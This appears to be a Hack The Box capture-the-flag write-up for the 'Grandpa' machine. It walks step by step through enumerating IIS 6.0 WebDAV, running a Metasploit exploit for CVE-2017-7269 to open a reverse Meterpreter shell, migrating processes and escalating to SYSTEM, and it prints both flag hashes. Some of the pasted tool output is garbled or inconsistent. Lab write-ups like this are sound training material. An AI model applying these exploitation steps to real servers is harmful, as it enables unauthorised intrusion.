

Hack The Box - Grandpa Notes

Ip Address: 10.10.10.14

```
$sudo nano /etc/hosts  
#add this line -> 10.10.10.14      grandpa.htb
```

STEP 1 - ENUMERATION

We start with the traditional **nmap enumeration**, going for open ports, and associated services

```
$nmap -A -v -Pn 10.10.10.14 > netsweep.txt  
$cat netsweep.txt
```

```
PORT      STATE SERVICE VERSION  
80/tcp    open  http   Microsoft IIS httpd 6.0  
| http-methods:  
|_ Supported Methods: OPTIONS TRACE GET HEAD COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT P  
OST MOVE MKCOL PROPPATCH  
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL  
PROPPATCH  
| http-server-header: Microsoft-IIS/6.0  
| http-title: Under Construction  
| http-webdav-scan:  
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK  
|_ Server Type: Microsoft-IIS/6.0  
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPF  
ND, PROPPATCH, LOCK, UNLOCK, SEARCH  
|_ Server Date: Thu, 30 Apr 2020 14:57:56 GMT  
|_ WebDAV type: Unknown  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Let's try and get more information on the server

```
$nmap --script http-webdav-scan -p80 grandpa.htb
```

```
PORT      STATE SERVICE  
80/tcp    open  http   Microsoft IIS httpd 6.0  
| http-webdav-scan:  
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPF  
ND, PROPPATCH, LOCK, UNLOCK, SEARCH  
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK  
|_ WebDAV type: Unknown  
|_ Server Date: Thu, 30 Apr 2020 15:02:20 GMT  
|_ Server Type: Microsoft-IIS/6.0
```

we know that the site uses **web-dav**, so let's use the **davtest tool**, and find out if we can upload, any kind of file

```
$davtest -url http://grandpa.htb
```

or (If you didn't edit the hosts file)

```
$davtest -url http://10.10.10.14
```

```
*****
Testing DAV connection
OPEN      SUCCEED:          http://10.10.10.14
*****
NOTE      Random string for this session: SnE0p0ICnp
*****
Creating directory
MKCOL     FAIL
*****
Sending test files
PUT      asp    FAIL
PUT      aspx   FAIL
PUT      pl     FAIL
PUT      jhtml  FAIL
PUT      jsp    FAIL
PUT      shtml  FAIL
PUT      txt    FAIL
PUT      cfm    FAIL
PUT      cgi    FAIL
PUT      html   FAIL
PUT      php    FAIL
*****
/usr/bin/davtest Summary:
```

The davtest results came empty, as all the tests failed

On Searchsploit

```
$searchsploit iis 6.0
```

Exploit Title	Path (/usr/share/exploitdb/)
Microsoft IIS 4.0/5.0/6.0 - Internal IP Address/Internal Network	exploits/windows/remote/21057.txt
Microsoft IIS 5.0/6.0 FTP Server (Windows 2000) - Remote Stack Overflow	exploits/windows/remote/9541.pl
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service	exploits/windows/dos/9587.txt
Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of Service	exploits/windows/dos/3965.pl
Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhaustion (Denial of Service)	exploits/windows/dos/15167.txt
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow	exploits/windows/remote/41738.py
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1)	exploits/windows/remote/8704.txt
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2)	exploits/windows/remote/8806.pl
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP)	exploits/windows/remote/8765.php
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (Patch)	exploits/windows/remote/8754.patch
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities	exploits/windows/remote/19033.txt
<hr/>	
Shellcodes: No Result	
kali㉿kali:/grandpa\$ searchsploit -x 41738.py	
Exploit: Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow	
URL: https://www.exploit-db.com/exploits/41738	
Path: /usr/share/exploitdb/exploits/windows/remote/41738.py	
File Type: troff or preprocessor input, ASCII text, with very long lines, with CRLF line terminators	

More info about the exploit

```
$searchsploit -x 41739.py
```

The attack is based on a Return-oriented programming chain. Return-oriented programming (ROP) is a security exploit technique that allows an attacker to execute code in the presence of security defense such as executable space protection and code signing

Exploit info

- EXPLOIT DB - iis 6.0
- EXPLOIT DB - Exploit 41738
- NIST GOV - CVE-2017-7269
- CVEDETAILS.com - CVE-2017-7269

Step 2 Visit the Website

```
http://grandpa.htb or http://10.10.10.14
```

Nothing very interesting, as we can see the site is under construction, and checking the developer tools, we found it's powered by **ASP.NET**

On Metasploit

```
$msfconsole
$search iis 6.0
```

138 exploit/windows/http/ftp_gpad_list_replies	2008-10-12	good	No	FIPPII 1.2.0 Stack Buffer Overflow
139 exploit/windows/ftp/ms#_053_ftpd_mlist	2008-08-31	great	No	MS08-053 Microsoft IIS FTP Server NLST Response Overflow
140 exploit/windows/http/antibweb_webquery.dll_app	2008-08-03	normal	Yes	Antibweb NetOpacs webquery.dll Stack Buffer Overflow
141 exploit/windows/http/ektron_xslt_exec_wm	2015-02-05	excellent	Yes	Ektors 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution
142 exploit/windows/http/jira_collector_traversal	2014-02-26	normal	Yes	JIRA Issues Collector Directory Traversal
143 exploit/windows/http/mssql_webdml_database	2006-08-29	good	No	Mssql Ww300M Database Parameter Overflow
144 exploit/windows/http/terralo_checktreasureurl_cmd_exec	2013-05-03	excellent	Yes	Servisla Media Server checktreasureurl Command Execution
145 exploit/windows/http/unbraco_upload.aspx	2012-04-28	excellent	No	Unbraco CMS Remote Command Execution
146 exploit/windows/iis/webdav_scstoragepathfromurl	2013-03-26	normal	Yes	Microsoft IIS WebDAV Scstoragepathfromurl Overflow
147 exploit/windows/iis/iis_webdav_upload.asp	2005-07-31	excellent	No	Microsoft IIS WebDAV Write Access Code Execution
148 exploit/windows/iis/ms#_073_printer	2011-05-01	good	Yes	MS11-023 Microsoft IIS Printer Host Header Overflow
149 exploit/windows/iis/ms#_079_dbdccode	2001-05-15	excellent	Yes	MS01-029 Microsoft IIS/PWS CGI Filename Double Decode Command Execution
150 exploit/windows/iis/ms#_079_t2t	2001-05-18	good	Yes	MS01-029 Microsoft IIS 5.0 T2T Path Traversal
151 exploit/windows/iis/ms#_010_htr	2002-04-10	good	No	MS02-010 Microsoft IIS 4.x HTR Path Overflow
152 exploit/windows/iis/ms#_065_msadc	2002-11-20	normal	Yes	MS02-065 Microsoft IIS MSADC.dll RBS DataStub Content-Type Overflow
153 exploit/windows/iis/ms#_097_ntdll_webdav	2003-05-30	great	Yes	MS03-097 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
154 exploit/windows/iis/msad	1998-07-17	excellent	Yes	MS99-025 Microsoft IIS MSADC.dll RBS Arbitrary Remote Command Execution
155 exploit/windows/iisapi/ms#_094_pboverse	2000-12-04	good	Yes	MS00-094 Microsoft IIS Phase Book Service Overflow
156 exploit/windows/iisapi/ms#_022_rndislog_post	2003-06-25	good	Yes	MS03-022 Microsoft IIS ISAPI rndislog.dll Post Overflow
157 exploit/windows/iisapi/ms#_051_fp0verg_chucked	2003-11-11	good	Yes	MS03-051 Microsoft IIS ISAPI FrontPage fp0verg.dll Chucked Overflow
158 exploit/windows/iisapi/rna_whagent_redirect	2005-08-21	good	Yes	Microsoft IIS ISAPI RSA WebAgent Redirect Overflow
159 exploit/windows/iisapi/w3who_query	2004-12-05	good	Yes	Microsoft IIS ISAPI w3who.dll Query String Overflow
160 exploit/windows/misc/hp_dataprotector_new_folder	2012-03-12	normal	No	HP Data Protector Create New Folder Buffer Overflow

```
$use exploit/windows/iis/iis_webdav_scstoragepathfromurl
$show options
```

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):				
Name	Current Setting	Required	Description	
MAXPATHLENGTH	68	yes	End of physical path brute force	
MINPATHLENGTH	3	yes	Start of physical path brute force	
Proxies	no		A proxy chain of format type:host:port[,type:host:port][,...]	
RHOSTS	yes		The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'	
RPORT	80	yes	The target port (TCP)	
SSL	False	no	Negotiate SSL/TLS for outgoing connections	
TARGETURI	/	yes	Path of IIS 6 web application	
VHOST		no	HTTP server virtual host	

Exploit target:	
Id	Name
0	Microsoft Windows Server 2003 R2 SP2 x86

We need to provide the target ip address (\$RHOSTS) and then check (\$check) if the machine is vulnerable

```
$set RHOSTS 10.10.10.14
$check
```

And finally run the exploit (\$exploit), and has soon we have a meterpreter session, check the id (\$getuid)

```
$exploit
$getuid
```

we have a **Meterpreter Session** as we tried to check the id (\$getuid) we found that we don't have administrator permissions)

check the processes, look for process running and owned by the administrator (**NT AUTHORITY\SYSTEM**), take note of its **ID**, in this case we chose process id=3496 davcata.exe

```
$ps
```

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]	x86	0		
4	0	System	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
272	4	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\csrss.exe
324	272	cssrs.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\winlogon.exe
348	272	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\services.exe
396	348	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\lsass.exe
408	348	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
604	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
680	396	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
736	396	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
764	396	svchost.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\svchost.exe
800	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
936	396	spoolsv.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\spoolsv.exe
964	396	msdtc.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\msdtc.exe
1076	396	cisvc.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cisvc.exe
1116	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32\svchost.exe
1176	396	inetinfo.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\inetsrv\inetinfo.exe
1220	396	svchost.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\svchost.exe
1328	396	VGAAuthService.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware\VMware Tools\VMware VGAAuth\VGAAuthService.exe
1408	396	vmtoolsd.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1456	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
1596	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32\svchost.exe
1684	348	logon.scr	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\logon.scr
1780	396	alg.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\alg.exe
1816	684	wmiprvse.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\wbem\wmiprvse.exe
1912	396	dllhost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\dllhost.exe
2388	684	wmiprvse.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\wbem\wmiprvse.exe
3188	1456	w3wp.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\system32\inetsrv\w3wp.exe
3344	684	wmiprvse.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\wbem\wmiprvse.exe
3496	684	davcata.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\inetsrv\davcata.exe
3948	1076	cidaemon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cidaemon.exe
3984	1076	cidaemon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cidaemon.exe
4012	1076	cidaemon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cidaemon.exe

```
migrate to that process(#3496)
```

```
$migrate 3496  
$getuid
```

```
[*] Started reverse TCP handler on 10.10.14.21:4444  
[*] Trying path length 3 to 60 ...  
[*] Sending stage (180291 bytes) to 10.10.10.14  
[*] Meterpreter session 1 opened (10.10.14.21:4444 → 10.10.10.14:1032) at 2020-04-30 11:22:51 -0400  
meterpreter > getuid  
Server username: NT AUTHORITY\NETWORK SERVICE
```

Now let's check who we are on the system)

```
$whoami
```

```
C:\WINDOWS\system32>whoami  
whoami  
nt authority\network service
```

Right now still not Admin user but will do for now, let's keep on going, let's try to know more about the system, get more intel :))

```
$sysinfo
```

```
C:\WINDOWS\system32>systeminfo
systeminfo

Host Name: GRANPA
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Uniprocessor Free
Registered Owner: HTB
Registered Organization: HTB
Product ID: 69712-296-0024942-44782
Original Install Date: 4/12/2017, 5:07:40 PM
System Up Time: 0 Days, 2 Hours, 5 Minutes, 18 Seconds
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1999 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory: 1,023 MB
Available Physical Memory: 791 MB
Page File: Max Size: 2,470 MB
Page File: Available: 2,321 MB
Page File: In Use: 149 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): 1 Hotfix(s) Installed.
```

let's get more information about the system, try to gather as much intel we can)

```
$sysinfo
```

Let's go to c:\Documents and Settings, try to find which users are configured on this machine)

```
$dir
$cd Documents And Settings
$dir
```

```
C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE

Directory of C:\Documents and Settings

04/12/2017  05:32 PM    <DIR>          .
04/12/2017  05:32 PM    <DIR>          ..
04/12/2017  05:12 PM    <DIR>          Administrator
04/12/2017  05:03 PM    <DIR>          All Users
04/12/2017  05:32 PM    <DIR>          Harry
0 File(s)           0 bytes
5 Dir(s)   18,090,647,552 bytes free
```

We found two users (**Administrator** and **Harry**) tried to access those users' folders but got **access denied**, no root privileges yet, let's exit the session right now

```
$exit
```

Step 3 - Using Local Exploit Suggester

Let's run the local Exploit Suggester

```
$run post/multi/recon/local_exploit_suggester
```

```
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.10.14 - Collecting local exploits for x86/windows ...
[*] 10.10.10.14 - 29 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
```

We will use exploit MS14_070_tcpip_ioctl

Step 4 using MS-070 to get root privileges

```
$background
$use exploit/windows/local/ms14_070_tcpip_ioctl
$show options
```

```
meterpreter > background
[*] Backgrounding session 1 ...
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms14_070_tcpip_ioctl
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options

Module options (exploit/windows/local/ms14_070_tcpip_ioctl):

Name      Current Setting  Required  Description
----      ================  ======  =
SESSION   [REDACTED]       yes        The session to run this module on.

Exploit target:

Id  Name
--  --
0   Windows Server 2003 SP2
```

let's set our session 1, check the options to see if everything is in order, and then run the exploit

```
$set SESSION 1
$show options
$show run
```

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set session 1
session => 1
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 192.168.114.129:4444
[*] Storing the shellcode in memory ...
[*] Triggering the vulnerability ...
[*] Checking privileges after exploitation ...
[+] Exploitation successful!
[*] Exploit completed, but no session was created.
```

The exploit ran but we still don't have a session, let's bring back the options once again, and correct what's wrong

```
$show options
$set LHOSTS 10.10.14.21 #your ip address
```

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options
Module options (exploit/windows/local/ms14_070_tcpip_ioctl):
Name      Current Setting  Required  Description
----      -----          ----- 
SESSION    1                  yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
----      -----          ----- 
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.114.129   yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:
Id  Name
--  --
0   Windows Server 2003 SP2

msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set lhost 10.10.14.21
lhost => 10.10.14.21
```

```
$exploit
```

Once again the exploit ran but we still don't have a session, we gotta go some other way

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > exploit
[*] Started reverse TCP handler on 10.10.14.21:4444
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
```

Let's check the sessions and it's associated running processes

```
$sessions -l
$sessions -i 1
$ps
```

```

msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > sessions -l
Active sessions
=====
Id  Name  Type          Information           Connection
--  ---  -----
1   meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ GRANPA 10.10.14.21:4444 → 10.10.10.14:1032 (10.10.10.14)

[*] Starting interaction with 1...
meterpreter > ps
Process List
=====

```

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]	x86	0	NT AUTHORITY\SYSTEM	---
4	0	System	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
272	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\csrss.exe
324	272	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\minlogon.exe
348	272	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\services.exe
396	348	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\lsass.exe
408	348	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
684	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
688	396	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
736	396	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe

check the processes, look for process running and owned by the administrator (**NT AUTHORITY\SYSTEM**), take note of its ID, in this case we chose process id=408 lsass.exe

```

$migrate 408
$getuid
$shell
$whoami

```

```
meterpreter > migrate 408
[*] Migrating from 3496 to 408 ...
[*] Migration completed successfully.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3616 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
```

```
C:\WINDOWS\system32>whoami
whoami
nt authority\system
```

Step 5 - Looking for the User.txt

Navigvate to C:\Documents and Settings\Harry\Desktop, and retrieve the user flag.

```
$cd C:\documents and settings\harry\desktop\
$dir
$type user.txt
```

```
C:\Documents and Settings\Harry\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE

Directory of C:\Documents and Settings\Harry\Desktop

04/12/2017  05:32 PM    <DIR>      .
04/12/2017  05:32 PM    <DIR>      ..
04/12/2017  05:32 PM            32 user.txt
                           1 File(s)       32 bytes
                           2 Dir(s)  18,090,663,936 bytes free

C:\Documents and Settings\Harry\Desktop>type user.txt
type user.txt
bdff5ec67c3cff017f2bedc146a5d869
```

Step 6 - Looking for the Root.txt

Navigate to C:\Documents and Settings\Administrator\Desktop, and retrieve the root flag.

```
$cd C:\documents and settings\administrator\desktop\
$dir
$type root.txt
```

```
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE

Directory of C:\Documents and Settings\Administrator\Desktop

04/12/2017  05:28 PM    <DIR>      .
04/12/2017  05:28 PM    <DIR>      ..
04/12/2017  05:29 PM            32 root.txt
                           1 File(s)       32 bytes
                           2 Dir(s)  18,090,659,840 bytes free

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
9359e905a2c35f861f6a57cecf28bb7b
```